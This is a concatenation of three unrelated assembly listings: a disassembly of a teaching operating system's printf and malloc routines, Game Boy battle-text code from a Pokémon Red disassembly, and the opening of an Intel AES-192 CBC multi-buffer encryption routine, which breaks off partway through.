if(neg)
buf[i++] = '-';
while(--i >= 0)
6b9: 83 6d f4 01 subl $0x1,-0xc(%ebp)
6bd: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
6c1: 79 d9 jns 69c <printint+0x8a>
putc(fd, buf[i]);
}
6c3: 83 c4 30 add $0x30,%esp
6c6: 5b pop %ebx
6c7: 5e pop %esi
6c8: 5d pop %ebp
6c9: c3 ret
000006ca <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6ca: 55 push %ebp
6cb: 89 e5 mov %esp,%ebp
6cd: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
6d0: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
6d7: 8d 45 0c lea 0xc(%ebp),%eax
6da: 83 c0 04 add $0x4,%eax
6dd: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
6e0: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
6e7: e9 7c 01 00 00 jmp 868 <printf+0x19e>
c = fmt[i] & 0xff;
6ec: 8b 55 0c mov 0xc(%ebp),%edx
6ef: 8b 45 f0 mov -0x10(%ebp),%eax
6f2: 01 d0 add %edx,%eax
6f4: 0f b6 00 movzbl (%eax),%eax
6f7: 0f be c0 movsbl %al,%eax
6fa: 25 ff 00 00 00 and $0xff,%eax
6ff: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
702: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
706: 75 2c jne 734 <printf+0x6a>
if(c == '%'){
708: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
70c: 75 0c jne 71a <printf+0x50>
state = '%';
70e: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
715: e9 4a 01 00 00 jmp 864 <printf+0x19a>
} else {
putc(fd, c);
71a: 8b 45 e4 mov -0x1c(%ebp),%eax
71d: 0f be c0 movsbl %al,%eax
720: 89 44 24 04 mov %eax,0x4(%esp)
724: 8b 45 08 mov 0x8(%ebp),%eax
727: 89 04 24 mov %eax,(%esp)
72a: e8 bb fe ff ff call 5ea <putc>
72f: e9 30 01 00 00 jmp 864 <printf+0x19a>
}
} else if(state == '%'){
734: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
738: 0f 85 26 01 00 00 jne 864 <printf+0x19a>
if(c == 'd'){
73e: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
742: 75 2d jne 771 <printf+0xa7>
printint(fd, *ap, 10, 1);
744: 8b 45 e8 mov -0x18(%ebp),%eax
747: 8b 00 mov (%eax),%eax
749: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
750: 00
751: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
758: 00
759: 89 44 24 04 mov %eax,0x4(%esp)
75d: 8b 45 08 mov 0x8(%ebp),%eax
760: 89 04 24 mov %eax,(%esp)
763: e8 aa fe ff ff call 612 <printint>
ap++;
768: 83 45 e8 04 addl $0x4,-0x18(%ebp)
76c: e9 ec 00 00 00 jmp 85d <printf+0x193>
} else if(c == 'x' || c == 'p'){
771: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
775: 74 06 je 77d <printf+0xb3>
777: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
77b: 75 2d jne 7aa <printf+0xe0>
printint(fd, *ap, 16, 0);
77d: 8b 45 e8 mov -0x18(%ebp),%eax
780: 8b 00 mov (%eax),%eax
782: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
789: 00
78a: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
791: 00
792: 89 44 24 04 mov %eax,0x4(%esp)
796: 8b 45 08 mov 0x8(%ebp),%eax
799: 89 04 24 mov %eax,(%esp)
79c: e8 71 fe ff ff call 612 <printint>
ap++;
7a1: 83 45 e8 04 addl $0x4,-0x18(%ebp)
7a5: e9 b3 00 00 00 jmp 85d <printf+0x193>
} else if(c == 's'){
7aa: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
7ae: 75 45 jne 7f5 <printf+0x12b>
s = (char*)*ap;
7b0: 8b 45 e8 mov -0x18(%ebp),%eax
7b3: 8b 00 mov (%eax),%eax
7b5: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
7b8: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
7bc: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
7c0: 75 09 jne 7cb <printf+0x101>
s = "(null)";
7c2: c7 45 f4 c6 0b 00 00 movl $0xbc6,-0xc(%ebp)
while(*s != 0){
7c9: eb 1e jmp 7e9 <printf+0x11f>
7cb: eb 1c jmp 7e9 <printf+0x11f>
putc(fd, *s);
7cd: 8b 45 f4 mov -0xc(%ebp),%eax
7d0: 0f b6 00 movzbl (%eax),%eax
7d3: 0f be c0 movsbl %al,%eax
7d6: 89 44 24 04 mov %eax,0x4(%esp)
7da: 8b 45 08 mov 0x8(%ebp),%eax
7dd: 89 04 24 mov %eax,(%esp)
7e0: e8 05 fe ff ff call 5ea <putc>
s++;
7e5: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
7e9: 8b 45 f4 mov -0xc(%ebp),%eax
7ec: 0f b6 00 movzbl (%eax),%eax
7ef: 84 c0 test %al,%al
7f1: 75 da jne 7cd <printf+0x103>
7f3: eb 68 jmp 85d <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
7f5: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
7f9: 75 1d jne 818 <printf+0x14e>
putc(fd, *ap);
7fb: 8b 45 e8 mov -0x18(%ebp),%eax
7fe: 8b 00 mov (%eax),%eax
800: 0f be c0 movsbl %al,%eax
803: 89 44 24 04 mov %eax,0x4(%esp)
807: 8b 45 08 mov 0x8(%ebp),%eax
80a: 89 04 24 mov %eax,(%esp)
80d: e8 d8 fd ff ff call 5ea <putc>
ap++;
812: 83 45 e8 04 addl $0x4,-0x18(%ebp)
816: eb 45 jmp 85d <printf+0x193>
} else if(c == '%'){
818: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
81c: 75 17 jne 835 <printf+0x16b>
putc(fd, c);
81e: 8b 45 e4 mov -0x1c(%ebp),%eax
821: 0f be c0 movsbl %al,%eax
824: 89 44 24 04 mov %eax,0x4(%esp)
828: 8b 45 08 mov 0x8(%ebp),%eax
82b: 89 04 24 mov %eax,(%esp)
82e: e8 b7 fd ff ff call 5ea <putc>
833: eb 28 jmp 85d <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
835: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
83c: 00
83d: 8b 45 08 mov 0x8(%ebp),%eax
840: 89 04 24 mov %eax,(%esp)
843: e8 a2 fd ff ff call 5ea <putc>
putc(fd, c);
848: 8b 45 e4 mov -0x1c(%ebp),%eax
84b: 0f be c0 movsbl %al,%eax
84e: 89 44 24 04 mov %eax,0x4(%esp)
852: 8b 45 08 mov 0x8(%ebp),%eax
855: 89 04 24 mov %eax,(%esp)
858: e8 8d fd ff ff call 5ea <putc>
}
state = 0;
85d: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
864: 83 45 f0 01 addl $0x1,-0x10(%ebp)
868: 8b 55 0c mov 0xc(%ebp),%edx
86b: 8b 45 f0 mov -0x10(%ebp),%eax
86e: 01 d0 add %edx,%eax
870: 0f b6 00 movzbl (%eax),%eax
873: 84 c0 test %al,%al
875: 0f 85 71 fe ff ff jne 6ec <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
87b: c9 leave
87c: c3 ret
0000087d <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
87d: 55 push %ebp
87e: 89 e5 mov %esp,%ebp
880: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
883: 8b 45 08 mov 0x8(%ebp),%eax
886: 83 e8 08 sub $0x8,%eax
889: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
88c: a1 30 0e 00 00 mov 0xe30,%eax
891: 89 45 fc mov %eax,-0x4(%ebp)
894: eb 24 jmp 8ba <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
896: 8b 45 fc mov -0x4(%ebp),%eax
899: 8b 00 mov (%eax),%eax
89b: 3b 45 fc cmp -0x4(%ebp),%eax
89e: 77 12 ja 8b2 <free+0x35>
8a0: 8b 45 f8 mov -0x8(%ebp),%eax
8a3: 3b 45 fc cmp -0x4(%ebp),%eax
8a6: 77 24 ja 8cc <free+0x4f>
8a8: 8b 45 fc mov -0x4(%ebp),%eax
8ab: 8b 00 mov (%eax),%eax
8ad: 3b 45 f8 cmp -0x8(%ebp),%eax
8b0: 77 1a ja 8cc <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8b2: 8b 45 fc mov -0x4(%ebp),%eax
8b5: 8b 00 mov (%eax),%eax
8b7: 89 45 fc mov %eax,-0x4(%ebp)
8ba: 8b 45 f8 mov -0x8(%ebp),%eax
8bd: 3b 45 fc cmp -0x4(%ebp),%eax
8c0: 76 d4 jbe 896 <free+0x19>
8c2: 8b 45 fc mov -0x4(%ebp),%eax
8c5: 8b 00 mov (%eax),%eax
8c7: 3b 45 f8 cmp -0x8(%ebp),%eax
8ca: 76 ca jbe 896 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
8cc: 8b 45 f8 mov -0x8(%ebp),%eax
8cf: 8b 40 04 mov 0x4(%eax),%eax
8d2: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
8d9: 8b 45 f8 mov -0x8(%ebp),%eax
8dc: 01 c2 add %eax,%edx
8de: 8b 45 fc mov -0x4(%ebp),%eax
8e1: 8b 00 mov (%eax),%eax
8e3: 39 c2 cmp %eax,%edx
8e5: 75 24 jne 90b <free+0x8e>
bp->s.size += p->s.ptr->s.size;
8e7: 8b 45 f8 mov -0x8(%ebp),%eax
8ea: 8b 50 04 mov 0x4(%eax),%edx
8ed: 8b 45 fc mov -0x4(%ebp),%eax
8f0: 8b 00 mov (%eax),%eax
8f2: 8b 40 04 mov 0x4(%eax),%eax
8f5: 01 c2 add %eax,%edx
8f7: 8b 45 f8 mov -0x8(%ebp),%eax
8fa: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
8fd: 8b 45 fc mov -0x4(%ebp),%eax
900: 8b 00 mov (%eax),%eax
902: 8b 10 mov (%eax),%edx
904: 8b 45 f8 mov -0x8(%ebp),%eax
907: 89 10 mov %edx,(%eax)
909: eb 0a jmp 915 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
90b: 8b 45 fc mov -0x4(%ebp),%eax
90e: 8b 10 mov (%eax),%edx
910: 8b 45 f8 mov -0x8(%ebp),%eax
913: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
915: 8b 45 fc mov -0x4(%ebp),%eax
918: 8b 40 04 mov 0x4(%eax),%eax
91b: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
922: 8b 45 fc mov -0x4(%ebp),%eax
925: 01 d0 add %edx,%eax
927: 3b 45 f8 cmp -0x8(%ebp),%eax
92a: 75 20 jne 94c <free+0xcf>
p->s.size += bp->s.size;
92c: 8b 45 fc mov -0x4(%ebp),%eax
92f: 8b 50 04 mov 0x4(%eax),%edx
932: 8b 45 f8 mov -0x8(%ebp),%eax
935: 8b 40 04 mov 0x4(%eax),%eax
938: 01 c2 add %eax,%edx
93a: 8b 45 fc mov -0x4(%ebp),%eax
93d: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
940: 8b 45 f8 mov -0x8(%ebp),%eax
943: 8b 10 mov (%eax),%edx
945: 8b 45 fc mov -0x4(%ebp),%eax
948: 89 10 mov %edx,(%eax)
94a: eb 08 jmp 954 <free+0xd7>
} else
p->s.ptr = bp;
94c: 8b 45 fc mov -0x4(%ebp),%eax
94f: 8b 55 f8 mov -0x8(%ebp),%edx
952: 89 10 mov %edx,(%eax)
freep = p;
954: 8b 45 fc mov -0x4(%ebp),%eax
957: a3 30 0e 00 00 mov %eax,0xe30
}
95c: c9 leave
95d: c3 ret
0000095e <morecore>:
static Header*
morecore(uint nu)
{
95e: 55 push %ebp
95f: 89 e5 mov %esp,%ebp
961: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
964: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
96b: 77 07 ja 974 <morecore+0x16>
nu = 4096;
96d: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
974: 8b 45 08 mov 0x8(%ebp),%eax
977: c1 e0 03 shl $0x3,%eax
97a: 89 04 24 mov %eax,(%esp)
97d: e8 20 fc ff ff call 5a2 <sbrk>
982: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
985: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
989: 75 07 jne 992 <morecore+0x34>
return 0;
98b: b8 00 00 00 00 mov $0x0,%eax
990: eb 22 jmp 9b4 <morecore+0x56>
hp = (Header*)p;
992: 8b 45 f4 mov -0xc(%ebp),%eax
995: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
998: 8b 45 f0 mov -0x10(%ebp),%eax
99b: 8b 55 08 mov 0x8(%ebp),%edx
99e: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
9a1: 8b 45 f0 mov -0x10(%ebp),%eax
9a4: 83 c0 08 add $0x8,%eax
9a7: 89 04 24 mov %eax,(%esp)
9aa: e8 ce fe ff ff call 87d <free>
return freep;
9af: a1 30 0e 00 00 mov 0xe30,%eax
}
9b4: c9 leave
9b5: c3 ret
000009b6 <malloc>:
void*
malloc(uint nbytes)
{
9b6: 55 push %ebp
9b7: 89 e5 mov %esp,%ebp
9b9: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
9bc: 8b 45 08 mov 0x8(%ebp),%eax
9bf: 83 c0 07 add $0x7,%eax
9c2: c1 e8 03 shr $0x3,%eax
9c5: 83 c0 01 add $0x1,%eax
9c8: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
9cb: a1 30 0e 00 00 mov 0xe30,%eax
9d0: 89 45 f0 mov %eax,-0x10(%ebp)
9d3: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
9d7: 75 23 jne 9fc <malloc+0x46>
base.s.ptr = freep = prevp = &base;
9d9: c7 45 f0 28 0e 00 00 movl $0xe28,-0x10(%ebp)
9e0: 8b 45 f0 mov -0x10(%ebp),%eax
9e3: a3 30 0e 00 00 mov %eax,0xe30
9e8: a1 30 0e 00 00 mov 0xe30,%eax
9ed: a3 28 0e 00 00 mov %eax,0xe28
base.s.size = 0;
9f2: c7 05 2c 0e 00 00 00 movl $0x0,0xe2c
9f9: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
9fc: 8b 45 f0 mov -0x10(%ebp),%eax
9ff: 8b 00 mov (%eax),%eax
a01: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
a04: 8b 45 f4 mov -0xc(%ebp),%eax
a07: 8b 40 04 mov 0x4(%eax),%eax
a0a: 3b 45 ec cmp -0x14(%ebp),%eax
a0d: 72 4d jb a5c <malloc+0xa6>
if(p->s.size == nunits)
a0f: 8b 45 f4 mov -0xc(%ebp),%eax
a12: 8b 40 04 mov 0x4(%eax),%eax
a15: 3b 45 ec cmp -0x14(%ebp),%eax
a18: 75 0c jne a26 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
a1a: 8b 45 f4 mov -0xc(%ebp),%eax
a1d: 8b 10 mov (%eax),%edx
a1f: 8b 45 f0 mov -0x10(%ebp),%eax
a22: 89 10 mov %edx,(%eax)
a24: eb 26 jmp a4c <malloc+0x96>
else {
p->s.size -= nunits;
a26: 8b 45 f4 mov -0xc(%ebp),%eax
a29: 8b 40 04 mov 0x4(%eax),%eax
a2c: 2b 45 ec sub -0x14(%ebp),%eax
a2f: 89 c2 mov %eax,%edx
a31: 8b 45 f4 mov -0xc(%ebp),%eax
a34: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
a37: 8b 45 f4 mov -0xc(%ebp),%eax
a3a: 8b 40 04 mov 0x4(%eax),%eax
a3d: c1 e0 03 shl $0x3,%eax
a40: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
a43: 8b 45 f4 mov -0xc(%ebp),%eax
a46: 8b 55 ec mov -0x14(%ebp),%edx
a49: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
a4c: 8b 45 f0 mov -0x10(%ebp),%eax
a4f: a3 30 0e 00 00 mov %eax,0xe30
return (void*)(p + 1);
a54: 8b 45 f4 mov -0xc(%ebp),%eax
a57: 83 c0 08 add $0x8,%eax
a5a: eb 38 jmp a94 <malloc+0xde>
}
if(p == freep)
a5c: a1 30 0e 00 00 mov 0xe30,%eax
a61: 39 45 f4 cmp %eax,-0xc(%ebp)
a64: 75 1b jne a81 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
a66: 8b 45 ec mov -0x14(%ebp),%eax
a69: 89 04 24 mov %eax,(%esp)
a6c: e8 ed fe ff ff call 95e <morecore>
a71: 89 45 f4 mov %eax,-0xc(%ebp)
a74: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
a78: 75 07 jne a81 <malloc+0xcb>
return 0;
a7a: b8 00 00 00 00 mov $0x0,%eax
a7f: eb 13 jmp a94 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
a81: 8b 45 f4 mov -0xc(%ebp),%eax
a84: 89 45 f0 mov %eax,-0x10(%ebp)
a87: 8b 45 f4 mov -0xc(%ebp),%eax
a8a: 8b 00 mov (%eax),%eax
a8c: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
a8f: e9 70 ff ff ff jmp a04 <malloc+0x4e>
}
a94: c9 leave
a95: c3 ret
|
PrintBeginningBattleText:
ld a, [wIsInBattle]
dec a
jr nz, .trainerBattle
ld a, [wCurMap]
cp POKEMON_TOWER_3F
jr c, .notPokemonTower
cp MR_FUJIS_HOUSE
jr c, .pokemonTower
.notPokemonTower
ld a, [wEnemyMonSpecies2]
call PlayCry
ld hl, WildMonAppearedText
ld a, [wMoveMissed]
and a
jr z, .notFishing
ld hl, HookedMonAttackedText
.notFishing
jr .wildBattle
.trainerBattle
call .playSFX
ld c, 20
call DelayFrames
ld hl, TrainerWantsToFightText
.wildBattle
push hl
callab DrawAllPokeballs
pop hl
call PrintText
jr .done
.pokemonTower
ld b, SILPH_SCOPE
call IsItemInBag
ld a, [wEnemyMonSpecies2]
ld [wcf91], a
cp MAROWAK
jr z, .isMarowak
ld a, b
and a
jr z, .noSilphScope
callab LoadEnemyMonData
jr .notPokemonTower
.noSilphScope
ld hl, EnemyAppearedText
call PrintText
ld hl, GhostCantBeIDdText
call PrintText
jr .done
.isMarowak
ld a, b
and a
jr z, .noSilphScope
ld hl, EnemyAppearedText
call PrintText
ld hl, UnveiledGhostText
call PrintText
callab LoadEnemyMonData
callab MarowakAnim
ld hl, WildMonAppearedText
call PrintText
.playSFX
xor a
ld [wFrequencyModifier], a
ld a, $80
ld [wTempoModifier], a
ld a, SFX_SILPH_SCOPE
call PlaySound
jp WaitForSoundToFinish
.done
ret
WildMonAppearedText:
TX_FAR _WildMonAppearedText
db "@"
HookedMonAttackedText:
TX_FAR _HookedMonAttackedText
db "@"
EnemyAppearedText:
TX_FAR _EnemyAppearedText
db "@"
TrainerWantsToFightText:
TX_FAR _TrainerWantsToFightText
db "@"
UnveiledGhostText:
TX_FAR _UnveiledGhostText
db "@"
GhostCantBeIDdText:
TX_FAR _GhostCantBeIDdText
db "@"
PrintSendOutMonMessage:
ld hl, wEnemyMonHP
ld a, [hli]
or [hl]
ld hl, GoText
jr z, .printText
xor a
ld [H_MULTIPLICAND], a
ld hl, wEnemyMonHP
ld a, [hli]
ld [wLastSwitchInEnemyMonHP], a
ld [H_MULTIPLICAND + 1], a
ld a, [hl]
ld [wLastSwitchInEnemyMonHP + 1], a
ld [H_MULTIPLICAND + 2], a
ld a, 25
ld [H_MULTIPLIER], a
call Multiply
ld hl, wEnemyMonMaxHP
ld a, [hli]
ld b, [hl]
srl a
rr b
srl a
rr b
ld a, b
ld b, 4
ld [H_DIVISOR], a ; enemy mon max HP divided by 4
call Divide
ld a, [H_QUOTIENT + 3] ; a = (enemy mon current HP * 25) / (enemy max HP / 4); this approximates the current percentage of max HP
ld hl, GoText ; 70% or greater
cp 70
jr nc, .printText
ld hl, DoItText ; 40% - 69%
cp 40
jr nc, .printText
ld hl, GetmText ; 10% - 39%
cp 10
jr nc, .printText
ld hl, EnemysWeakText ; 0% - 9%
.printText
jp PrintText
GoText:
TX_FAR _GoText
TX_ASM
jr PrintPlayerMon1Text
DoItText:
TX_FAR _DoItText
TX_ASM
jr PrintPlayerMon1Text
GetmText:
TX_FAR _GetmText
TX_ASM
jr PrintPlayerMon1Text
EnemysWeakText:
TX_FAR _EnemysWeakText
TX_ASM
PrintPlayerMon1Text:
ld hl, PlayerMon1Text
ret
PlayerMon1Text:
TX_FAR _PlayerMon1Text
db "@"
RetreatMon:
ld hl, PlayerMon2Text
jp PrintText
PlayerMon2Text:
TX_FAR _PlayerMon2Text
TX_ASM
push de
push bc
ld hl, wEnemyMonHP + 1
ld de, wLastSwitchInEnemyMonHP + 1
ld b, [hl]
dec hl
ld a, [de]
sub b
ld [H_MULTIPLICAND + 2], a
dec de
ld b, [hl]
ld a, [de]
sbc b
ld [H_MULTIPLICAND + 1], a
ld a, 25
ld [H_MULTIPLIER], a
call Multiply
ld hl, wEnemyMonMaxHP
ld a, [hli]
ld b, [hl]
srl a
rr b
srl a
rr b
ld a, b
ld b, 4
ld [H_DIVISOR], a
call Divide
pop bc
pop de
ld a, [H_QUOTIENT + 3] ; a = ((LastSwitchInEnemyMonHP - CurrentEnemyMonHP) / 25) / (EnemyMonMaxHP / 4)
; Assuming that the enemy mon hasn't gained HP since the last switch in,
; a approximates the percentage that the enemy mon's total HP has decreased
; since the last switch in.
; If the enemy mon has gained HP, then a is garbage due to wrap-around and
; can fall in any of the ranges below.
ld hl, EnoughText ; HP stayed the same
and a
ret z
ld hl, ComeBackText ; HP went down 1% - 29%
cp 30
ret c
ld hl, OKExclamationText ; HP went down 30% - 69%
cp 70
ret c
ld hl, GoodText ; HP went down 70% or more
ret
EnoughText:
TX_FAR _EnoughText
TX_ASM
jr PrintComeBackText
OKExclamationText:
TX_FAR _OKExclamationText
TX_ASM
jr PrintComeBackText
GoodText:
TX_FAR _GoodText
TX_ASM
jr PrintComeBackText
PrintComeBackText:
ld hl, ComeBackText
ret
ComeBackText:
TX_FAR _ComeBackText
db "@"
|
;;
;; Copyright (c) 2012-2020, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
;;; routine to do a 192 bit CBC AES encrypt
;;; process 4 buffers at a time, single data structure as input
;;; Updates In and Out pointers at end
%include "include/os.asm"
%include "mb_mgr_datastruct.asm"
%include "include/clear_regs.asm"
%define MOVDQ movdqu ;; assume buffers not aligned
%macro pxor2 2
MOVDQ XTMP, %2
pxor %1, XTMP
%endm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; struct AES_ARGS {
;; void* in[8];
;; void* out[8];
;; UINT128* keys[8];
;; UINT128 IV[8];
;; }
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; void aes_cbc_enc_192_x4(AES_ARGS *args, UINT64 len);
;; arg 1: ARG : addr of AES_ARGS structure
;; arg 2: LEN : len (in units of bytes)
%ifdef LINUX
%define ARG rdi
%define LEN rsi
%define REG3 rcx
%define REG4 rdx
%else
%define ARG rcx
%define LEN rdx
%define REG3 rsi
%define REG4 rdi
%endif
%define IDX rax
%define IN0 r8
%define KEYS0 rbx
%define OUT0 r9
%define IN1 r10
%define KEYS1 REG3
%define OUT1 r11
%define IN2 r12
%define KEYS2 REG4
%define OUT2 r13
%define IN3 r14
%define KEYS3 rbp
%define OUT3 r15
%define XDATA0 xmm0
%define XDATA1 xmm1
%define XDATA2 xmm2
%define XDATA3 xmm3
%define XKEY0_3 xmm4
%define XKEY0_6 [KEYS0 + 16*6]
%define XTMP xmm5
%define XKEY0_9 xmm6
%define XKEY1_3 xmm7
%define XKEY1_6 xmm8
%define XKEY1_9 xmm9
%define XKEY2_3 xmm10
%define XKEY2_6 xmm11
%define XKEY2_9 xmm12
%define XKEY3_3 xmm13
%define XKEY3_6 xmm14
%define XKEY3_9 xmm15
%ifndef AES_CBC_ENC_X4
%define AES_CBC_ENC_X4 aes_cbc_enc_192_x4
%endif
section .text
MKGLOBAL(AES_CBC_ENC_X4,function,internal)
AES_CBC_ENC_X4:
push rbp
mov IDX, 16
mov IN0, [ARG + _aesarg_in + 8*0]
mov IN1, [ARG + _aesarg_in + 8*1]
mov IN2, [ARG + _aesarg_in + 8*2]
mov IN3, [ARG + _aesarg_in + 8*3]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MOVDQ XDATA0, [IN0] ; load first block of plain text
MOVDQ XDATA1, [IN1] ; load first block of plain text
MOVDQ XDATA2, [IN2] ; load first block of plain text
MOVDQ XDATA3, [IN3] ; load first block of plain text
mov KEYS0, [ARG + _aesarg_keys + 8*0]
mov KEYS1, [ARG + _aesarg_keys + 8*1]
mov KEYS2, [ARG + _aesarg_keys + 8*2]
mov KEYS3, [ARG + _aesarg_keys + 8*3]
pxor XDATA0, [ARG + _aesarg_IV + 16*0] ; plaintext XOR IV
pxor XDATA1, [ARG + _aesarg_IV + 16*1] ; plaintext XOR IV
pxor XDATA2, [ARG + _aesarg_IV + 16*2] ; plaintext XOR IV
pxor XDATA3, [ARG + _aesarg_IV + 16*3] ; plaintext XOR IV
mov OUT0, [ARG + _aesarg_out + 8*0]
mov OUT1, [ARG + _aesarg_out + 8*1]
mov OUT2, [ARG + _aesarg_out + 8*2]
mov OUT3, [ARG + _aesarg_out + 8*3]
pxor XDATA0, [KEYS0 + 16*0] ; 0. ARK
pxor XDATA1, [KEYS1 + 16*0] ; 0. ARK
pxor XDATA2, [KEYS2 + 16*0] ; 0. ARK
pxor XDATA3, [KEYS3 + 16*0] ; 0. ARK
aesenc XDATA0, [KEYS0 + 16*1] ; 1. ENC
aesenc XDATA1, [KEYS1 + 16*1] ; 1. ENC
aesenc XDATA2, [KEYS2 + 16*1] ; 1. ENC
aesenc XDATA3, [KEYS3 + 16*1] ; 1. ENC
aesenc XDATA0, [KEYS0 + 16*2] ; 2. ENC
aesenc XDATA1, [KEYS1 + 16*2] ; 2. ENC
aesenc XDATA2, [KEYS2 + 16*2] ; 2. ENC
aesenc XDATA3, [KEYS3 + 16*2] ; 2. ENC
movdqa XKEY0_3, [KEYS0 + 16*3] ; load round 3 key
movdqa XKEY1_3, [KEYS1 + 16*3] ; load round 3 key
movdqa XKEY2_3, [KEYS2 + 16*3] ; load round 3 key
movdqa XKEY3_3, [KEYS3 + 16*3] ; load round 3 key
aesenc XDATA0, XKEY0_3 ; 3. ENC
